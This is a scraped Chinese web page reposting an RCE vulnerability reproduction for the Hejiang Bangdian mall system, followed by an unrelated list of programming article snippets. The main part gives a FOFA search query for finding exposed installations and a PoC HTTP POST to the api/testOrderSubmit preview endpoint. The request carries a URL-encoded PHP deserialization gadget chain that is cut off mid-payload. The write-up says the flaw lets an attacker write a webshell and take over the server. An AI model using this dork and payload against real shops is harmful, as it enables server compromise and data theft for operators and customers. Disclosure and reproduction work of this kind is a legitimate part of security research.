当前位置： 首页 > news >正文

禾匠榜店商城系统 RCE漏洞复现

news 文章来源：https://blog.csdn.net/qq_41904294/article/details/134928699 2025/1/19 20:33:16

0x01 产品简介

禾匠榜店商城系统是浙江禾匠信息科技有限公司的一套基于PHP和MySQL的商城系统。

0x02 漏洞概述

禾匠榜店商城系统的api/testOrderSubmit模块下的preview方法存在命令执行漏洞，攻击者可以向服务器写入木马文件，直接获取服务器权限

0x03 漏洞概述

FOFA：body="const _scriptUrl"

0x04 漏洞复现

PoC

POST /web/index.php?r=api/testOrderSubmit/index/preview&_mall_id=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 913
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Connection: closeform_data=O%3A23%3A%22yii%5Cdb%5CBatchQueryResult%22%3A1%3A%7Bs%3A36%3A%22%00yii%5Cdb%5CBatchQueryResult%00_dataReader%22%3BO%3A24%3A%22GuzzleHttp%5CPsr7%5CFnStream%22%3A3%3A%7Bs%3A32%3A%22%00GuzzleHttp

相关文章：

禾匠榜店商城系统 RCE漏洞复现

0x01 产品简介 禾匠榜店商城系统是浙江禾匠信息科技有限公司的一套基于PHP和MySQL的商城系统。 0x02 漏洞概述 禾匠榜店商城系统的api/testOrderSubmit模块下的preview方法存在命令执行漏洞，攻击者可以向服务器写入木马文件，直接获取服务器权限 0x03 漏洞概述 FOFA：bod…...

编程日记 2023/12/16 0:35:05

Python移动未标注的图片数据集

Python移动未标注的图片数据集 前言前提条件相关介绍实验环境Python移动未标注的图片数据集情况一：有图，无标注文件代码实现输出结果 情况二：有图，有标注文件，但标注信息为空代码实现输出结果 情况一与情况二同时都考虑…...

编程日记 2023/12/16 0:34:04

判断css文字发生了截断，增加悬浮提示

示例： 固定显示宽度，溢出显示...，利用了css的属性，想要实现成下面这样： 针对溢出的文字，hover显示全部。 提示很好加，使用tooltip组件就行了，难点是如何判断是否发生了文字溢出。…...

编程日记 2023/12/16 0:33:03

day33-37-SpringBootV12(整合Spring,SpringMVC,Mybatis,日志,api测试等框架)

ssm spring --> applicationContext.xml配置文件 springmvc --> springmvc.xml配置文件 mybatis —> mybatis-config.xml配置文件 —> springboot优化了之前的框架配置,思想是约定大于配置 一、引言 1.1 初始化配置 为了使用SSM框架去开发，准备SSM…...

编程日记 2023/12/16 0:32:02

如何处理好面试中的“压力测试”？

作为一名求职者，在面试时有时遇到的是压力测试，有时则遇到的是一些无良企业单位，究竟如何把握忍耐的限度，才合格当一个能经受压力的员工，才能避免对无良单位的一味隐忍! 压力面试是指有意制造紧张，以了解求…...

编程日记 2023/12/16 0:28:58

大数据----31.hbase安装启动

二.Hbase安装 先前安装： Zookeeper 正常部署 首先保证 Zookeeper 集群的正常部署，并启动之。 三台机器都执行：zkServer.sh startHadoop 正常部署 Hadoop 集群的正常部署并启动。 主节点上进行 ：start-all.sh 1.HBase 的获取 一定…...

编程日记 2023/12/16 0:27:57

ChatGPT Plus重新开启订阅

12月14日凌晨，OpenAI首席执行官Sam Altman在社交平台宣布，终于找到了更多的GPU算力，重新开启订阅ChatGPT Plus。 上个月15日，OpenAI就因为算力不足，以及用户激增等原因暂停了ChatGPT Plus订阅。 Sam表示，在…...

编程日记 2023/12/16 0:26:57

C#科学绘图之scottPlot绘制多个图像

文章目录 示例移除图像图例信号图 scott系列：绘图初步 示例 从名字就能看出，ScottPlot的绘图函数AddScatter的作用是为图窗添加数据点，换言之，每调用一次AddScatter，就可以在图窗中添加一组图像。下面添加两个按钮&a…...

编程日记 2023/12/16 0:25:56

二百一十五、Flume——Flume拓扑结构之复制和多路复用的开发案例（亲测，附截图）

一、目的 对于Flume的复制和多路复用拓扑结构，进行一个小的开发测试 二、复制和多路复用拓扑结构 （一）结构含义 Flume 支持将事件流向一个或者多个目的地。 （二）结构特征 这种模式可以将相同数据复制到多个channe…...

编程日记 2023/12/16 0:21:52

Leetcode—2962.统计最大元素出现至少 K 次的子数组【中等】

2023每日刷题&#xff08;五十六&#xff09; Leetcode—2962.统计最大元素出现至少 K 次的子数组 滑动窗口算法思想 参考的灵神思路 实现代码 class Solution { public:long long countSubarrays(vector<int>& nums, int k) {int n nums.size();long long ans…...

编程日记 2023/12/16 0:16:48

MapReduce模拟统计每日车流量-解决方案

MapReduce模拟统计每日车流量-解决方案 1.Map阶段&#xff1a;将原始数据分割成若干个小块&#xff0c;每个小块由一个Map任务处理。Map任务将小块中的每个数据项映射成为一个键值对&#xff0c;其中键为时间戳&#xff0c;值为车流量。2.Shuffle阶段&#xff1a;将Map任务输出…...

编程日记 2023/12/16 0:12:44

【深度学习】强化学习（二）马尔可夫决策过程

文章目录 一、强化学习问题1、交互的对象2、强化学习的基本要素3、策略&#xff08;Policy&#xff09;4、马尔可夫决策过程1. 基本元素2. 交互过程的表示3. 马尔可夫过程&#xff08;Markov Process&#xff09;4. 马尔可夫决策过程&#xff08;MDP&#xff09;5. 轨迹的概率计…...

编程日记 2023/12/16 0:11:44

Vue.js 使用基础知识

Vue.js 是一款用于构建用户界面的渐进式框架&#xff0c;它专注于视图层。Vue.js 不同于传统的 JavaScript 框架&#xff0c;它采用了组件化的开发方式&#xff0c;使得开发者可以更加高效和灵活地构建交互式的 Web 应用程序。 目录 什么是 Vue.js安装 Vue.jsVue 实例模板语法插…...

编程日记 2023/12/16 0:05:38

Linux---计划任务

本章主要介绍如何创建计划任务 使用 at 创建计划任务使用 crontab 创建计划任务 有时需要在某个指定的时间执行一个操作&#xff0c;此时就要使用计划任务了。计划任务有两种&#xff1a; 一个是at计划任务&#xff0c;另一个是 crontab计划任务。 下面我们分别来看这两种计划…...

编程日记 2023/12/16 0:03:36

.NET微信网页开发之通过UnionID机制解决多应用用户帐号统一问题

背景 随着公司微信相关业务场景的不断拓展&#xff0c;从最初的一个微信移动应用、然后发展成微信公众号应用、然后又有了微信小程序应用。但是随着应用的拓展&#xff0c;如何保证相同用户的微信用户在不同应用中登录的同一个账号呢&#xff1f;今天的主题就来了.NET微信网页…...

编程日记 2023/12/16 0:02:36

【docker】docker入门与安装

Docker 一、入门 Docker的主要目标是&#xff1a;Build, Ship and Run Any App, Anywhere&#xff0c;也就是通过对应用组件的封装、分发、部署、运行等生命周期的管理&#xff0c;使用户的APP及其运行环境能做到一次镜像,处处运行。 Docker运行速度快的原因 Docker有比虚拟…...

编程日记 2023/12/15 23:59:33

视觉学习笔记12——百度飞浆框架的PaddleOCR 安装、标注、训练以及测试

系列文章目录 虚拟环境部署 参考博客1 参考博客2 参考博客3 参考博客4 文章目录 系列文章目录一、简单介绍1.OCR介绍2.PaddleOCR介绍 二、安装1.anaconda基础环境1&#xff09;anaconda的基本操作2&#xff09;搭建飞浆的基础环境 2.安装paddlepaddle-gpu版本1&#xff09;安装…...

编程日记 2023/12/15 23:56:31

深入分析ClassLocader工作机制

文章目录 一、ClassLoader简介1. 概念2. ClassLoader类结构分析 二、ClassLoader的双亲委派机制三、Class文件的加载流程1. 简介2. 加载字节码到内存3. 验证与解析4. 初始化Class对象 四、常见加载类错误分析1. ClassNotFoundException2. NoClassDefFoundError3. UnsatisfiledL…...

编程日记 2023/12/15 23:52:27

算法通关村第十二关—字符串转换(青铜)

一、转换成小写字母 LeetCode709.给你一个字符串s&#xff0c;将该字符串中的大写字母转换成相同的小写字母&#xff0c;返回新的字符串。 示例1&#xff1a; 输入&#xff1a;s"Hello" 输出&#xff1a;"hello" 示例2&#xff1a; 输入&#xff1a;s&qu…...

编程日记 2023/12/15 23:49:25

C#基础与进阶扩展合集-基础篇（持续更新）

目录 本文分两篇&#xff0c;进阶篇点击&#xff1a;C#基础与进阶扩展合集-进阶篇 一、基础入门 Ⅰ 关键字 Ⅱ 特性 Ⅲ 常见异常 Ⅳ 基础扩展 1、哈希表 2、扩展方法 3、自定义集合与索引器 4、迭代器与分部类 5、yield return 6、注册表 7、不安全代码 8、方法…...

编程日记 2023/12/15 23:47:23

ReactJs笔记摘录

文章目录 前言目录结构组件动态组件高阶组件 Hook函数useStateuseEffectuseContextuseReduceruseCallbackuseMemo JSX语法根元素与斜杠使用变量推荐使用className替代class属性写法三元表达式 vs &&antd和tailwindcss 组件通信父传子&#xff1a;props和自定义函数事件…...

编程日记 2023/12/15 23:44:19

2023 re:Invent使用 PartyRock 和 Amazon Bedrock 安全高效构建 AI 应用程序

前言 本篇文章授权活动官方亚马逊云科技文章转发、改写权&#xff0c;包括不限于在 亚马逊云科技开发者社区, 知乎&#xff0c;自媒体平台&#xff0c;第三方开发者媒体等亚马逊云科技官方渠道 “Your Data, Your AI, Your Future.&#xff08;你的数据&#xff0c;你的AI&…...

编程日记 2023/12/15 23:43:19

Mac 打不开github解决方案

序言 github 时有打不开的情况&#xff0c;为此很是烦恼&#xff0c;这里分享一下如何解决这种问题&#xff0c;其实问题的本质是在访问github网页时无法通过github.com的二级域名进行动态域名解析。 解决方案 手动配置静态文件hosts&#xff0c;将该域名和IP的映射关系添加…...

编程日记 2023/12/15 23:42:17

十五 动手学深度学习v2计算机视觉 ——全连接神经网络FCN

文章目录 FCN FCN 全卷积网络先使用卷积神经网络抽取图像特征&#xff0c;然后通过卷积层将通道数变换为类别个数&#xff0c;最后通过转置卷积层将特征图的高和宽变换为输入图像的尺寸。 因此&#xff0c;模型输出与输入图像的高和宽相同&#xff0c;且最终输出通道包含了该空…...

编程日记 2023/12/15 23:40:15

elementUI中的 “this.$confirm“ 基本用法，“this.$confirm“ 调换 “确认“、“取消“ 按钮的位置

文章目录 前言具体操作总结 前言 elementUI中的 "this.$confirm" 基本用法&#xff0c;"this.$confirm" 调换 "确认"、"取消" 按钮的位置 具体操作 基本用法 <script> this.$confirm(这是数据&#xff08;res.data&#xff0…...

编程日记 2023/12/15 23:38:13

K8S 常用命令

获取所有的pod资源&#xff1a; kubectl get pod 获取所有的命名空间&#xff1a; kubectl get namespace 获取所有的Deployment资源&#xff1a; kubectl get deployment 删除指定的deploy: kubectl delete deploy nginx 获取所有的服务&#xff1a; kubectl get serv…...

编程日记 2023/12/15 23:36:11

12.使用 Redis 优化登陆模块

目录 1. 使用 Redis 优化登陆模块 1.1 使用 Redis 存储验证码 1.2 使用 Redis 存储登录凭证 1.3 使用 Redis 缓存用户信息 1. 使用 Redis 优化登陆模块 使用 Redis 存储验证码&#xff1a;验证码需要频繁的访问与刷新&#xff0c;对性能要求较高&#xff1b;验证码不需要永…...

编程日记 2023/12/15 23:34:09

Nacos-NacosRule 负载均衡—设置集群使本地服务优先访问

userservice: ribbon: NFLoadBalancerRuleClassName: com.alibaba.cloud.nacos.ribbon.NacosRule # 负载均衡规则 NacosRule 权重计算方法 目录 一、介绍 二、示例&#xff08;案例截图&#xff09; 三、总结 一、介绍 NacosRule是AlibabaNacos自己实现的一个负载均衡策略&…...

编程日记 2023/12/15 23:32:07

软件设计师——信息安全（二）

&#x1f4d1;前言 本文主要是【信息安全】——软件设计师——信息安全的文章&#xff0c;如果有什么需要改进的地方还请大佬指出⛺️ &#x1f3ac;作者简介&#xff1a;大家好&#xff0c;我是听风与他&#x1f947; ☁️博客首页&#xff1a;CSDN主页听风与他 &#x1f304…...

编程日记 2023/12/15 23:30:05

Unity中实现ShaderToy卡通火（原理实现篇）

文章目录 前言一、我们在片元着色器中&#xff0c;实现卡通火的大体框架1、使用 noise 和 _CUTOFF 判断作为显示火焰的区域2、_CUTOFF &#xff1a; 用于裁剪噪波范围的三角形3、noise getNoise(uv, t); : 噪波函数 二、顺着大体框架依次解析具体实现的功能1、 uv.x * 4.0; : …...

编程日记 2023/12/15 23:29:04

wordpress showposts/seo排名软件

计算机网络 练习&#xff08;一百一十&#xff09; 当使用时间到达租约期的&#xff08;&#xff09;时&#xff0c;DHCP 客户端和 DHCP 服务器将更新租约。 A. 50% B. 75% C. 87.5% D. 100% ---------------------------------------- 答案&#xff1a; A 解析&#xff1a; …...

编程日记 2025/1/19 18:23:59

自己做的网站怎么发布/工具seo

2020年高考已经落下帷幕&#xff0c;全国各地高考试题依然是大家热议的话题&#xff0c;特别是今年的高考数学题&#xff0c;瞬间冲上微博热搜。今年高考数学题&#xff0c;再次出现编程题&#xff01;高考&#xff0c;已经开始考“编程”了&#xff01;2020年高考再现编程题20…...

编程日记 2025/1/19 16:51:31

关于单位网站建设的报告/百度做网站

http://www.jianshu.com/p/d296a8c34936?hmsrtoutiao.io&utm_mediumtoutiao.io&utm_sourcetoutiao.io Redux由Flux演变而来&#xff0c;提供几个简单的API来实现状态管理&#xff0c;所谓状态指的是应用数据&#xff0c;所以&#xff0c;Redux本质上是用来管理数据的…...

编程日记 2025/1/19 14:48:52

网站开发的网站/友链外链app

概念性规划方案温州落地项目&#xff1a; 温州电动汽车综合充换电站建设、温州年产15000吨用优质钛材料建设项目、温州塑料颗粒加工、温州养殖500头牛项目、温州新建丹东塔醋、无添加剂酱油及豆瓣酱生产、温州豆腐厂豆制品加工建设项目。 您不必担忧不在一个城市不好沟通&#…...

编程日记 2025/1/19 14:13:41

网站制作平台/广州seo优化电话

针对OpenGL 3.2 和 GLSL 1.50 提供的扩展。 具体可看&#xff1a;https://www.khronos.org/registry/OpenGL/extensions/ARB/ARB_gpu_shader5.txt...

编程日记 2025/1/19 14:05:36

视频网站大数据建设/制作网页的流程

如果你的数据爬取出来通过xpath(test)解析发现为[]&#xff0c;或者使用etree打印出来为&#23321这种类似那么 请往下观看 否则请节约您的时间离开 python代码 导入html包 通过html.unescape(&#乱码格式字符串) 如果传入的不是字符串请转换为字符串 rteststr(etree…...

编程日记 2025/1/19 8:47:31